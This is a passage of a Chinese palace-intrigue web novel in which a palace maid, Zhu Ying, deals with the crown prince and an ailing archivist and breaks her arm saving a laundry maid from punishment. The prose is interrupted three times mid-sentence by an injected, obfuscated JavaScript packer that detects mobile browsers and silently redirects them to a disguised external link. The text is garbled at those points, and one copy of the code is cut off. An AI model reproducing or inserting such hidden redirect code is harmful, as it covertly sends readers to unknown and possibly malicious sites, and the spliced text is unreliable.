“哦——是吗?”竺影反问道,“要真如此,女郎此时应与齐王琴瑟和鸣,怎有闲暇寻找我的不痛快?” 崔月仪这时慢慢开口:“小小宫人,好大的气性,就不怕我到陛下面前,告你个不敬之罪吗?” “女郎且去告吧,陛下自不会偏袒。只是齐王念旧情啊……”竺影有意放慢了语调,像是在威胁,“小人性命微不足惜,可是令尊的前程,就不好说了……女郎可敢与我赌上一赌?” 她面色平静放着狠话,倒真像那么一回事。 崔月仪顾及父亲,收敛了许多,仅是朝她一笑,便沿来路折返,留下一句: “我与你,来日方长。” 好一个来日方长,可竺影不想奉陪。 待崔家女郎走了,才又有人慢腾腾走上春台,一如他赴宴的姗姗来迟。 “鸣竹。” 那人在身后唤她。 熟悉的步频,熟悉的声音,竺影听出了是谁,指尖颤了颤,却没有回头,也没有应声,只留给他一个背影。 孟晓不由哂道:“怨气还没消啊?” 她冷着声道:“静和宫里出了事,殿下也知道去死人堆里寻我啊。” “是我想错了,已经罚过禾玉,你想怎么怨责都好。”他扶住竺影的肩,使其转过身来,对上她一双幽怨的眼。 竺影又问:“夫人要借刀杀人,殿下一直都清楚的,对吗?她要借孟闻的刀,杀我。” 孟晓却摇着头否认。 竺影看他,不似诓骗。 若不是他,那就只剩下陈氏的人了。 废后的死,当与他们有关。 明谌又道:“只是我没想到——” 竺影问:“没想到什么?” 他轻呵出一口气,似有万般无奈,没想到鸣鸾宫那位说没就没了,没想到母亲敢参与其中,更没想到孟闻那竖子竟欺瞒于他,悄无声息将他的人扣在东宫。 其后发生的一连串,皆在他的意料之外。 可所有的变故都于他有利。 竺影说:“这样正好,一切都遂了殿下的意。出来得太久,我该走了。” “这么着急?” 她道:“毕竟还要回东宫去,应付一下那位太子殿下。” 23. 春回醒枝(三) 天色渐晚,筵席将要散去。 竺影比太子早一步回了东宫,便先到去小厨房煮一盅梨汤备着。 前往恩光殿的一路寂静极了,连掌灯的宫人也不见几个,她却在半途,见到个鬼鬼祟祟的人影,似在闲逛。 竺影端着食盒走过去,抬脚踢了踢那人的脚后跟,故作惊讶道:“呀——在等我?” 陆芃被她吓了一跳,回过神来骂道:“你少自作多情!” 竺影问:“所以——你在这做什么?” 陆芃道:“同你没关系。” 竺影道:“那你继续逛,我去恩光殿了。” “等等。”陆芃叫住她道,“你这是去找我表兄?这么晚了,你去找他做什么?” 竺影理所当然道:“看不出来吗?我去献殷勤。” 惊讶于她的“坦荡荡”,陆芃哑口无言,默默让开道。 竺影又道:“我煮了些梨汤,厨房里还剩下一些,你若想喝,可以自行去盛。” “竺影。”陆芃又叫她,“他回来时沉着个脸,似乎心情不大好。” 竺影反问:“他几时心情好过?” “啧。”陆芃有些恼,提醒说,“总之,你小心些就是了,别惹恼了他。” “哦。”竺影一点头,继而端着食盘沿着前路去。 天已经尽黑了,殿中灯火幽微,只有主屋燃明灯一盏,两个宫人在檐下点灯。 羽音在殿外当值,一见了竺影,如同猫儿见了天敌,周身的毛都立了起来,竖起两道眉毛质问她道:“你来做什么?” 竺影道:“送汤。” 羽音道:“谁知你又安的什么心?” 是啊,她哪里会安什么好心? 竺影淡淡道:“那我不来,我走?” 不等羽音开口,她抬脚转身就走,心里默默数着,一息、两息……不过三息,听屋内传来一声呵斥: “羽音,让她进来。” 果不其然。 羽音暗恨踢了一脚墙根,气鼓鼓瞪着竺影。 竺影笑着看她一眼,定了定神朝主屋走去。 进了门,左右环视却寻不见人,刚一抬头,那人便披衣从屏风后步出,走到竺影面前。 燕尾纱衣曳地,青丝未束披垂在两肩,还带着出浴不久未干的水汽。 吓得她一步趔趄,险些打翻了食盒。堪堪扶稳,她又迅速低下头去,暗暗骂一句,这人好不知礼数。 孟闻不去看她,只看着窗外灰蒙蒙一片,说道:“这个时辰……我以为你今夜打算睡在宫道上,不回来了。” 竺影道:“殿下说笑了,纵是鸟儿也得寻处屋檐栖息啊。” 他从竺影身侧走过,掀起一阵风,吹得烛影摇摇晃晃。 他忽然问了一句:“你喝酒了?” 竺影道:“没有。” 得了个否定的答案,他转而下了另一个论断:“那就是被某个醉鬼缠上了。” 今日宴上醉鬼多了去,他却没有明说是谁,只能叫竺影自行去猜。 “怎么会呢?”她言笑晏晏,又道,“只是我忘了。” “忘了什么?” 忘了太子殿下属狗。 竺影只敢悄促促地想,暂且还不敢这么说。 “此前去同宫人们沽酒时,难免沾惹一些酒气,回来却忘了换衣裳。”她如是解释。 孟闻又问:“今日宴后去了哪里?” 竺影道:“去了揽春台,不过随处走走。” “直到现在?” “而后去了厨房。” “那你此时过来——” “送梨汤。” “梨汤?” “想到今日宴上的驼峰炙与牛心炙,尽是腥膻之物,本该佐以梨汤,正好解腥腻,光禄寺却疏忽了,不曾准备。” 说着,她打开食盒将梨汤端出来,置于桌案上。 热气还未散去,屋内瞬间氤氲着甜津津的气息,很快盖过了她身上的酒气。 “雪梨盅、山黄皮……”孟闻随意瞥了一眼,又想起她白日里以水换酒,不由称道,“你倒是体贴又心细,总能顾及别人所想不到的东西。” 这话说得阴阳怪调,不知是在夸她,还是另有所指。 竺影回道:“从前跟着宜夫人当差,她挑剔得多,稍有不周,是要受罚的。” 孟闻道:“到这处又没人罚你。” 竺影收起食盘,独独没回应他这句。 他略去那些礼仪,不在乎得体与否,此时单单直视着她道:“深夜送梨汤,无事献殷勤,你可是做了什么对不起我的事?” 竺影干笑一声,道:“怎会呢?我又岂敢?” 孟闻道:“可你却低头畏缩,不敢看我,为何?” 她飞快抬眼一扫,又再度低头,忍不住说道:“殿下能否先将衣裳穿好?” “本要睡了,谁知你会在这个时辰过来?”他皱起眉头,拢紧衣襟背过身去,言语中又怨责之意。 “是我不该贸然前来,扰殿下休憩。”竺影指了指桌上的雪梨盅,问道,“既要睡了,那这梨汤殿下也不吃了吧?不吃我就端走了。” 孟闻转头瞪了她一眼。 “留下。” “哦——”她又收回刚伸出去的手。 “还有一事,要你明日去办。” “殿下请讲。” 孟闻收拢案上的卷宗,推到她面前。 “这些卷宗看完了,替我送回秘书监。” “好。”竺影应下,又是个跑腿的活。 她似乎很久没去过秘阁。 雪化以后,再踏上那一段宫道,却觉得有些陌生。 昨日些许小事扰得她彻夜难眠,晨起时仍然有些头疼。 今日在道上缓行,看到枝头抽出的新芽,才恍然惊觉,原来已经入春了。 她在宫城里如履薄冰一日日,熬过了又一个深冬。 到了秘阁,不见了冬日里那个小宦官,也不见小谢大人。 秘书令祝大人似乎也不在阁中。 竺影径直上了楼,直往堆满杂书的屋子走去。前方一扇门关得严严实实,门口散落了几卷旧书,纸页残缺泛黄,有些年头。 没往前几步,却被身后人叫住。 “此处为秘阁藏书禁地,还请宫人止步。” 她捧着几份卷宗,慢慢转过身来,望见一副苍白的病容。 “祝大人。” 许久不见,他竟比上个冬日更憔悴些。 竺影向他道过礼,又说:“太子殿下命我归还卷宗。” 祝从嘉上前几步,停在她与存放典籍的禁地之间,施施然伸出手来。 “交由我便好。” “那就有劳大人了。”她将那几份卷宗如废纸般往他怀里推,便转了身要走。 祝从嘉道:“有些事须得问一问宫人。” 竺影停住脚步。 听他问起:“宫人可知洗春阁中所藏尚书是哪一个版本,共多少篇?” 竺影道:“为梅赜所献辑书,共五十八篇。” “我知晓了。”他略略颔首道,“届时秘阁会誊抄今文二十八篇,遣人送去洗春阁。” 竺影问他:“今文由前人世代相授得以流传,而古文为残卷所载。今文与古文并不相同,大人以为世人口口相传之事比残书上的记载更为可信,故而弃典籍?” 祝从嘉道:“古往今来诸多事,皆是真真假假,这些本就是说不准的。” 竺影复问道:“可是人有谎言,死物也会说谎吗?” 祝从嘉道:“典籍也是可以伪造的,何论证物?太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504938|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下应当没从这些卷宗与账簿里查出任何线索,书上编的亦真亦假,谁又分得清呢?昨日之事,是昨日的你记得更清楚,还是今日的你记得更详实?倘若十几年前的一件事,在当年一笔带过,却在十几年后的今日记载得更为详细,不觉奇怪么?后人又是如何比当时之人了解得更多?细究下来,难免有篡改之嫌。当你见一件往事随时间过去,书写却越来越详细,这段历史已经不可信了。” 竺影道:“大人说想说,这些卷宗后来经由他人之手整理过,已不是最初的版本,所以太子才什么都查不出来,对吗?” 祝从嘉不置可否,道:“宫人可回去转告太子殿下。” 须知百代兴亡多少事,于天子而言,他所寻的真相最是不要紧。 竺影道:“我知晓了。”她行过一礼便转身离去,留他一人在万千卷帙当中。 书架的尽头,落下一声似有若无的叹息。 归去途中,路过园子里两棵高大的棠棣树,去年陛下携众臣在此处赏雪,竺影恰是在这儿,碰上了去年冬遇见的那个小宦官。 小宦官一眼就认出了她,一路小跑上前来朝她拱手道:“兰姊姊,你还记得我吗?” 竺影惊喜道:“你是长芨?真巧啊。” 长芨道:“早先听人说起,姊姊如今不在静和宫了,我还以为以后再见不到了。直至昨日在宴上见到你,知你如今跟在太子身边了,我才专程找来,想与姊姊说一声,我已经调去鸿嘉殿当值了,是去年冬日的事。” 竺影笑道:“原来如此啊,难怪两次去秘阁都没见到你。还未来得及恭喜你,一转眼已到御前去侍奉了,说不准来日也会像尚常侍那样,成了陛下跟前的红人。” 长芨道:“姊姊高看我了,我哪里敢奢求这些?只求平安顺遂就够了。三月不见,姊姊怎么憔悴了?” 竺影道:“没什么大事,只是近来太忙,没睡好罢了。” “想来储君新立,东宫事务繁忙,姊姊也成了大忙人了。”长芨有些难为情道,“其实我来寻你,是有事相求的。” 竺影道:“你且说来,凡是我能办到的,定然会帮你。” 长芨道:“我有一个妹妹,唤作长莘,她现下在浣衣局做事,可我眼下去不得那里,便想请姊姊替我将这些东西转交给她。” 竺影接过包裹,问道:“这里头装的是什么?” “是陛下给的赏赐,还有些糕饼与膏药。”长芨解开包裹给她查看,又仔仔细细包好,与之絮絮叨叨,“浣衣局的姑姑不好说话,我担心她一个人在那里,受了欺负,只能请姊姊得闲时,能偶尔照看一下她。” “小事而已。”竺影不多犹豫便应下,又问,“你的妹妹,生的什么模样?” 长芨道:“她身量单薄,比兰姊姊矮些,模样与我很像,眉间还有一颗红痣。” 竺影道:“我记着了。” 长芨要给她塞些金银,被竺影推了回去。 她皱着眉,问他道:“你何时也学来了这些习惯?” “是鸿嘉殿的大人教我的,原来这样不好吗?”长芨攥着那些细软,像做错事的稚子,颇有些不知所措。 竺影语重心长道:“不是所有人都喜欢如此的,总归得论人。有的人正好吃这一套,收了银两便会帮你办事,可在另一些人那里就行不通,保不齐会将你当作是投机取巧的小人。你光学了这些还不够,还得用心去看人呐。” 长芨道:“姊姊说话跟尚常侍很像,他也教我许多。” 竺影淡笑道:“看来尚常侍也是个极好的人呐,日子总归还长,可以慢慢学着。” “嗯。”长芨重重点了点头。 竺影还要赶着回东宫去,于是道:“这些东西我替你送去,今日就此别过了。” 长芨向她拱手道别:“多谢姊姊。” 24. 春回醒枝(四) “我早就提醒过,熏静和宫的衣裳要用沉香,辞月宫的衣裳用的瑞脑香,你怎还是弄错了?” “姑姑先前说的不是这个……我是照姑姑说的做的。” “你做错了事,还敢嘴硬!若不罚你,贵人如何能消气?” “明明是姑姑您……我熏衣前还问过——” “来人!把她给我拖出去,磨一磨她的硬骨头。” 竺影还没走到浣衣局,就听到一墙之隔的地方传来断断续续的争吵声。她忍不住凑近去瞧瞧,究竟是哪个宫女要受罚。 原来是静和宫与辞月宫的主子从来不对付,给两位夫人用错了熏衣香,也难怪浣衣局掌事如此心焦。 不过急着推一个宫人出去顶罪,这路数怎么莫名熟悉? 刚走到浣衣局正门,只见两个宫人也拖着一个小宫女走到门口,几乎是迎面而来。周围还围聚了许多人,除去几个凑热闹大的,更多还是为了杀鸡儆猴。 小宫女的手被人摁在门槛上,登时被吓得直哆嗦,是嘴硬也不敢,气势也没了,只剩声泪俱下的求饶。 “姑姑我错了,我真的知错了。求您放过奴婢吧。” “求饶有什么用?好歹得让两位主子先消了气吧?” 白皙的胳膊架在门槛上,另外两个宫女推着左右两扇门,要生生夹断人的胳膊,从前也有几个受此刑夹断了脖子的。 颤巍巍的哭声与哀求,也让围观者不寒而栗,低头不敢去看了。 这些私刑竺影只听说过,未尝亲眼见得它的残忍。起初她只是揣紧包裹,慢慢走近,直至看到那小宫女的眉心,恰恰生了颗红痣…… 眼见那门板就要合上,竺影再顾不上踟蹰,掷下手中包裹就冲了过去,挡在门缝中间。 一道诡异的声响传来,所有人都始料未及,连竺影自己都没料到,她哪里拦得住那扇门? “嘶——” 她竭力咬紧牙关,还是忍不住叫出了声。 感知几乎全被痛觉占据,意识也被一扫而空。 她听到了骨裂的声音,手臂似乎断了。 推门的宫女也吓了一跳,当即松了手,慌忙问道:“她从哪里钻出来的?” 浣衣局里乱成一团,本要受罚的小宫女也愣在原地。 竺影疼得呲牙,捂着手笔骂道:“巴掌大的地方,还染上官瘾了,谁给你的胆量滥用私刑!” 掌事质问她:“你是何人?有什么资格来管这里的事?” 未等她自报家门,人群中已有人认出了她。 “鸣竹?” 竺影抬头看去,正是宜夫人身边的紫裳。而另一个,是辞月宫的玄英。 真真是巧了,叫这些人看见她最狼狈的样子。 紫裳问她:“你怎么会在这里?” 竺影扶着门板站直起身,冷声道:“我如今做什么,还需告知你吗?” 紫裳道:“我是问不了,那静和宫与辞月宫的事,你管得着吗?” 竺影道:“你们宫里的事我不掺合,可这个人我要护着。”说着便将本该受罚的宫女拉到身后护着,细声安慰她不必害怕。 “嗤——”紫裳笑话她,“你还当自己是半个主子吗?” 齐王也已经离京了,她从前的仰仗根本指望不上。 竺影将东宫的腰牌丢给她看,说道:“可以试试。” “是东宫的人?” “这可如何是好啊?” “我等本无意冲撞内贵人。” 浣衣局里的人不由自危,本想推个人出去顶罪,也算是息事宁人了,谁知她会掺合进来。 还没吵出个所以然,倏尔听到一阵摇铃声,来自不远处的宫道。 有贵人仪驾经过此处,宫人们也顾不得僵持,纷纷退至道旁拢袖垂首而立。 竺影无力垂着一条手臂,一手拉着长莘退去。 鸣珂锵玉,金铃当啷,她记得这个声音。 是太子仪驾。 她远远望过去,只见飘摇的帷幔间,人影若隐若现,果真是他。 肩舆上垂下一只手来,叩了两下扶手,角音当即迎上前去。 孟闻问:“那边发生了何事?” 角音道:“一群宫人聚在一起,许是起了争执,我好像看到了竺宫人。” 孟闻道:“叫她过来。” 角音道:“中书舍人还在东宫候着,殿下不如先回去?由我过去看看。” 孟闻道:“也好。”他一抬手,众人又扛起肩舆继续行路。 见他走了,竺影一声不吭走过去捡起地上的包裹,角音也正好走向她,先她一步捡起来,递还到她手上。 角音道:“殿下叫你回去。” 竺影道:“可否容我耽搁片刻,就与她说几句话?” 角音道:“别耽搁太久。” 竺影这才搂着包裹,走向那个惊魂未定的小宫女。 “你是叫长莘,对吗?” “嗯。”长莘直直看着她,点了点头。 竺影道:“是你兄长让我来找你,他叫我把这些东西拿给你。” 长莘道:“那你的手……” 竺影牵强扯出一抹笑:“小伤而已,没事。” 长莘道:“谢谢你。” 竺影将长芨的话与东西带到,便没有什么要说的了。离去之前,她又看向浣衣局管事:“韩姑姑,我不记得哪条律法宫规中有记载,掌事宫人可以私自用刑。是谁的过错谁自担着,依照宫规该怎么罚就怎么罚。我下次来时,也要见她如今日一般全须全尾。” 浣衣局管事连连点头应是。 竺影随角音一并回去,走在他身后,极力遮掩受过的伤,一路上也走得慢极了。 到了东宫,她问:“客人都已经走了,殿下可还需我去洗春阁?” 角音两手一摊,道:“我不知道,须得你自己去问了。” 竺影叹了口气,似认命般埋头往竹径中走。 两个洒扫的宫人适才退出来,太子在阁中,持一卷书,焚香默坐。 她慢腾腾挪着步子过去,该行礼时才发觉左臂根本抬不起来,于是只能木木地站着。 “殿下。”她惴惴开口,声如蚊蝇。 孟闻不曾看她,只当她心虚,张口就是一顿皮里阳秋:“我道怎么回的这般迟,原来是去别处闲逛了。” 竺影道:“是小人的过错,小人自愿请罚。” “请罚?”他笑,连请罚都与某人如出一辙。 可一抬头,忽地愣住。 只见她满额的汗,浸湿的额发贴在面上,像是生了一场大病,再看袖角,不知怎的撕裂了一块。 他略略皱眉,捏紧了手中书,转又放下,问她:“是怎么成了这幅模样?” 竺影道:“不小心伤到了,回去养两日便可。” 看她遮遮掩掩,他就又看角音。 角音一会儿看天,一会儿看地,说道:“我不知道,我去时她就已经是这样子了。” 孟闻吩咐道:“去请章太医来。” 才刚跑完一遭,角音自是不情不愿:“她说只是小伤,只消让徴音来给她上药,何必去请太医过来?” 孟闻道:“叫你去你就去。” 角音又问:“张太医和章太医,是要请哪一个?” 孟闻不耐烦道:“别问废话,你要是能把那个死的也请来,算你本事。” 角音撇撇嘴走了。 中书舍人季常早就走了,他这一去,洗春阁里就只剩两个人。 太子一直坐在窗前,手边放着一卷书,望窗外竹海,似乎心情不佳。 竺影不太想触他的霉头,于是坐得离他远远的。 纵是隔了大老远,也阻拦不了他继续挑刺。 “今日东宫有客,你这一去,宫里无人煮茶。” 竺影问道:“殿下不是从来不喜欢我煮的茶?” 他道:“用来待客却是合适的。” 竺影听懂了他的阴阳怪气,也知道那所谓的“客人”有多不受他待见了。 她想起祝从嘉交代的事,随口转达一声;“祝大人让我转告殿下,洗春阁中所藏尚书并非善本,要重新誊抄秘阁中的二十八篇送来。” 于是他刚拿起尚书的手,便又轻轻放下。 “祝大人有心了。”孟闻淡淡瞧着她,“说说,到底怎么弄的?与其等我去查,不如你自己坦诚些。” 竺影这才开口道:“为了救人。回来路上见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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竺影看到那张脸,已经做好了被痛骂一顿的准备。 不想孟闻先接了话:“什么怎么回事?” “咳——”陆芃当即闭了嘴,又道,“表兄你也在啊……我听闻你、你的女官出了事,顺道来看。” 角音解释说:“途中遇着女郎君,她问我缘何请太医,我同她说了,她非得跟过来——看一看。” 孟闻道:“没什么要紧的事,别妨着太医。” 又对章太医道:“我的女官受了点伤,有劳大人替她看一看。” 章太医不多言,放下药箱,竺影配合他卷起袖子,露出其下一片青紫。 “啧。”陆芃看了,不禁轻叹了一声。 章太医琢磨一阵,说道:“这伤得不轻,骨头都断了啊。” 陆芃两道眉拧成一团,又道:“这下好了,要当一辈子残废了。” 章太医擦了擦汗,忙道:“能治,下官能治。” 只待他又一阵摸索,让竺影咬着一方锦帕,三两下接好断骨,疼得陆芃呲牙乱叫。 太医接完了骨,等随行的医生为其敷了药缠上纱布,又留下几贴膏药,一张方子。 “伤筋动骨百日,切记好生修养。”留下三两句叮嘱,便走了。 陆芃盯着竺影,幽怨道:“下次觉得疼就叫出来,别硬撑了。” 竺影吐掉了嘴里的锦帕,艰难从牙缝里挤出两个字:“不疼。” 陆芃怒而捞起袖子,露出她留下的数道指甲印,毫不留情奚落:“得了吧,不疼你抓我抓这么狠?” 竺影勉强笑了笑,不知从何处听来一声叹息,她抬眼偷觑,瞧见孟闻那张写满不耐烦的脸。 他放下书卷,迤迤然从坐席上下来,说道:“既无碍,便回去,洗春阁用不上你。” “好。”竺影应了,迫不及待消失在他视线里。 待陆芃也走了,孟闻才问角音:“让商音去查一查鸿嘉殿里一个叫长芨的内官,还有浣衣局里一个叫长莘的宫人。” “是。”角音点头应下。 孟闻心中仍有疑虑,又道:“她二人何时如此相熟?” 角音道:“殿下问的,是她与女郎君?可是担心她会对女郎君不利?” 本该亲自去问一问陆芃,孟闻却又打消了这个念头,自言道:“罢了,不必去理会。” 25. 春回醒枝(五) 旱了一月的京城,在二月初落下一场春雨,丝丝缕缕穿响竹林,点作人间愁绪。 竺影先前伤到了手,虽说断骨已经接上,却还是在雨天隐隐作痛。 洗春阁里的藏书都已做好编目,东宫里鲜少有事需要一个女史去操劳。她只需每日在太子来之前点好熏香,就没有别的事了。 前阵子秘阁誊抄好的今文《尚书》已送了过来,整整齐齐码在书案上。 竺影理完了书,正往架子上添芸草。 屋外雨点作响,噼里啪啦砸在瓦檐上,润透斑驳的青瓦。 这个时辰竺影早该离去,奈何来时没下雨,也不记得带伞,于是被一场淅零淅留的雨困在檐下。 晚些孟闻也过来了。 他喜欢读书,闲时总爱待在洗春阁。 竺影往时回去得早,所以有些天没见着他。 今日孟闻在阁中见到她,有些惊诧,可很快也猜到了为何。 屋外墙角下,只放着他与仆从的两柄伞。 “殿下。”竺影向他行礼,又一指架上的几卷书,说道,“这是秘阁新送来的版本,已经校对过了,没有缺漏。” 孟闻略略颔首,道:“秘书令有心了。” 竺影正犹豫着要不要问他的仆从借伞,晚些过来归还,没等她开口,孟闻已走上前来,取走了她面前的新书一卷,捧在手里翻看。 离得不远,书间有淡淡的松墨香。 孟闻看了没两页,却突然问起:“据我所知,他也是云琅人士,你入宫前是否与他相识?” 竺影迟疑道:“殿下问的是秘书令吗?” 他低头读书不说话,像在埋怨她的明知故问。 “认识的。”她默了一阵,随后避重就轻解释说,“两家从前是旧好,在云琅时有过往来。” 他生了些许兴致,稍稍从凭几上直起身子,问她道:“那么你对这位秘书令了解多少?” 竺影背对着他,装作清点着架上的书目,随口答道:“不多。只知他自幼承袭家学,通古今政事,喜谶纬之学,少时入朝为官任著作郎,后得陛下赏识擢升至秘书监,短短三年由丞至令,未至而立便身登三阁,成了天子近臣。人人都羡慕他初入仕途便是清官*。” 孟闻听出了她的敷衍,轻轻嗤道:“说点我不知道的。” 竺影反问:“殿下为何打探他?” 孟闻道:“陛下点他来东宫讲学,我不过是好奇,想多了解一二。” 竺影偶尔才得到他肚腹中藏的什么心思,就如眼下他随意找来一个由头,竺影怎会听不出她的搪塞? 只是太子何须向一个宫人多解释些什么?她偶尔斗胆不知礼数一回,他不答,她也就不问了。 竺影思忖着回道:“秘书令啊……从前在云琅,应当是无人不知,无人不晓的存在,官家子弟无不羡慕他,百姓无不爱戴他。他本是家中长子,幼承家学,成年后却并未承家主之位,反而让给了他的族弟,祝从善。 “倒是可怜他被这一身疾病,拖累半生。不过外人只知他体弱多病,整日凭汤药续命,都称他作‘病痨鬼’。却不知晓,其实他是先天不足。曾有神医断言,他活不过三十岁。” 说到这里,她忽然顿了顿,像在为他惋惜似的。 “朝中的官员或许不知晓,祝秘书令除了与书为伴,还善弈棋。论及棋艺,或可与国手一较高下,可他二十岁就不再执棋了。长久以来,他都只在秘阁编书修史而已。” 孟闻轻飘飘抛出一句问询:“倘若他只是一个修史的清官,孟晓为何会对他颇为礼重?” 他拐弯抹角问起旁人,到头来还是绕回齐王身上。 竺影先前说了许多,此刻一味回避着:“当时陛下染病,宫中人人自危,只有秘书令与尚常侍能到天子榻前侍奉,齐王才会才那时找上他。” “原是这般……”孟闻道,“我以为他能得陛下宠信,必然有过人之处。听你所言,他倒与寻常人没什么不同。” “这雨一时半刻不会停了。我在此观书,你到楼上去吧。” 她此时坐在阁楼上观雨,楼下的人并未像往常一样翻书,也不去看卷宗,仅是临窗静坐,似乎是在等人。 少顷,随风流动的幽篁间出现一柄倾斜的纸伞,缓缓走向书阁。 竺影移目看去,倏然望见伞下一双温和平静的眼,在雨雾中更温润几许。 竺影方才听说陛下命祝从嘉教授太子策论,没想到他会在今日过来。 “殿下。” “先生不必多礼,还请落坐。” 楼下传来熟悉的声音,她没忍住下了楼。 孟闻没吩咐她做任何事,她已自行端走了茶具,到屋外煮茶。 有一段时日没煮过茶,案上那套茶具明显没了润泽之色。 屋中两人对坐读书,她便坐在廊下煮茶,持一柄蒲扇,等待茶水滚沸的过程中,百无聊赖偷听屋里的谈话。 祝从嘉捻开书页,说道:“今日,便还是讲《书》吧。” 孟闻却道:“我听人说起,先生善弈棋。” 祝从嘉翻书的手一顿,坦然道:“已经是数年前的事了,那时也只有半篓子水平,哪里称得上善?如今的我早已不执棋。” 孟闻问:“不执棋,又是为何?” “二十岁不成国手,终生无望。既然注定局限于此,索性不再下了。” 秘书令是这样回答的。 屋外煮茶的人轻轻叹了口气。 他说不成国手,终生无望啊。 可竺影记得他爱棋,爱与家中长辈、族中兄弟切磋,更胜一筹。 竺影见过弱冠之年的祝氏公子初任著作郎,那年也曾年少肆意,风光无量。 后来一次次在棋局中、官场上遇到了力所不能及之事,不得不屡次三番妥协,步步谨慎退让,成了如今这般。 竺影何尝不是如此。 其间不过六年而已。 平复片刻,她将煮得滚沸的茶汤倒进壶中,再度端起茶盘走进屋内。 从嘉披着一件鹤氅衣,额上系一条绀色絮巾,手执《禹贡》一卷,正襟危坐。另一人则跽座,垂首恭听。 抛开那些算计不谈,两人倒是像极了一对师生。 竺影不觉分了神,茶汤溢出杯子,浇在手背上,烫得她猛然抽回手,不慎碰翻茶盏。 本来没什么大事,她吃了痛也不吭声。 可是茶水溅出去几滴,在祝从嘉的衣袖洇开一圈茶渍,引得座上的另一人不悦。 一双眼眸冷冷地望过来,那人斥责道:“受了伤便养着,省得活干不好,还摔了东西。不知晓的,还以为是我有意苛待宫人。” 祝从嘉收拢了衣袖,温和道:“无妨,不必自责。” 竺影看了他一眼,将杯盏茶壶放归原处,本要退出去。 祝从嘉却突然开口:“能否劳烦宫人,将架上那卷辩亡论拿过来。” 睢言道:“她手脚不利索,换个人过来。” 祝从嘉道:“只是些小事,外面还下着雨,一来一回多有耽搁,不必差遣别人了。” 一言一语,竟有些争锋相对的意思。 秘书令已开了口,太子到底没再发话。 竺影犹豫片刻,还是看向祝从嘉,问道:“令君要的是上卷还是下卷?” 祝从嘉道:“上卷。” 她即刻旋踵穿梭于书架间,很快就找到了那卷辩亡论。 陆平原的文章,她早年也曾读过。 匆匆将书送去,她便折返于廊间坐下。 本该教授给太子的策论,她坐在不远处,也得缘听着。 太子问:“两日前太史令占,荧惑入舆鬼,犯积尸,恐有兵丧,天下大疫,先生如何看?” 祝从嘉却反问:“殿下以为,天文之象、鬼神之说,可堪信否?” 太子道:“自是不信。祸由人起,兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16542972|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱死战皆由人挑拨而生,怎可以星象一言概之?” 祝从嘉道:“殿下不信,自会有人信。不然昔年陛下也不会大兴土木,为安定人心而建观星楼。天文之象为天下人所共见,殿下可以不信,却难阻止有心之人利用星象大做文章,散布遑论。星象作何解,也是由人来定。适逢殿下要前往并州,便有人在提及这些,届时北地出了什么变故,他们也就有了托词。” 太子低落道:“若我做得不好,便是我这储君德不配位,不能承社稷之重,他们也就有理由废储,另拥旁人。可我不惧此事,不怕杀生。先生也曾说过,并州屡遭劫难,百废待兴。那里等着重建的,并不只有一座观星楼。” 还有被蠹蝝搅乱的秩序,有那凋敝的民生、丢失的民心,以及国朝的威严。 “殿下是大梁的储君,所要顾及之事,并不仅仅是过往沉冤。” 他温吞而淡泊,像提笔作画时晕开的第一道水痕。仅落下第一道水色,余下的点染、铺墨,乃至浓墨重彩,都交由旁人自行落笔。 孟闻拢袖向他揖了一揖,说道:“我知晓了,多谢先生点拨。” 祝从嘉最后问起:“算下日子,殿下就将离宫了吧?” “是。”孟闻道,“五日后启程,初六日先生不必到宫里来。” 祝从嘉道:“如此,便祝殿下此去顺遂。” 不知过去多久,太子送秘书令走出书阁。 雨已经停了,只有竹丛间时不时落下几滴积雨。 祝从嘉身边的童仆拿了伞,本来也没她什么事,太子莫名其妙叫她起来,神情也耐人寻味。 “竺影,代我送一送先生。” 竺影心下一惊,他是否又察觉了什么? 祝从嘉神色日常,并未拒绝,只是淡淡道:“有劳宫人了。” 滴雨的林间,竺影走在祝从嘉身后,没有撑伞,他遂叫小童也将伞收着,任由不知轻重的雨点,砸过他的发顶、肩头。 走出去几十步,洗春阁也隐在幽篁后,早就望不见。 祝从嘉放慢脚步等她走到并肩的位置,缓缓看向她道:“仅仅几日不见,你清减许多。” 他看出来她的憔悴,也看到了她的伤。 竺影抿着唇,起初不愿接话。可被他盯得浑身不自在,这才别过脸去开口:“还请令君——不要这样看我。” 须知此时的怜悯对她来说,是一种冒犯。 她是落魄了,不及跟在孟晓身边时风光,那又如何? 难不成要靠旁人的怜悯,才可安然活着? “阿影。” 那人忽然这样唤她,声音也哑着,像喉间有化不开的苦涩。 “当年送你入宫,你可有怨我?” 她闻言失笑,不甚在意道:“秘书令为何这样说?当年……是我自己要入宫的。” 祝从嘉道:“你如何骗得过我?如若你想离开了,我得陛下几分赏识,恰足矣去讨一个恩典。” 竺影仰头看着头顶的枝梢,竹叶层层叠叠,片片如锋芒。 “不必说这些,宦海经营不易,令君不必为我耗费这些恩情。何况当年祝家已为我求过一次恩典,我尚无以为报,怎敢再欠您一个人情呢?” 她平静开口,将妄图施以援手的人拒之千里。 “真相真有那么要紧?”他问。 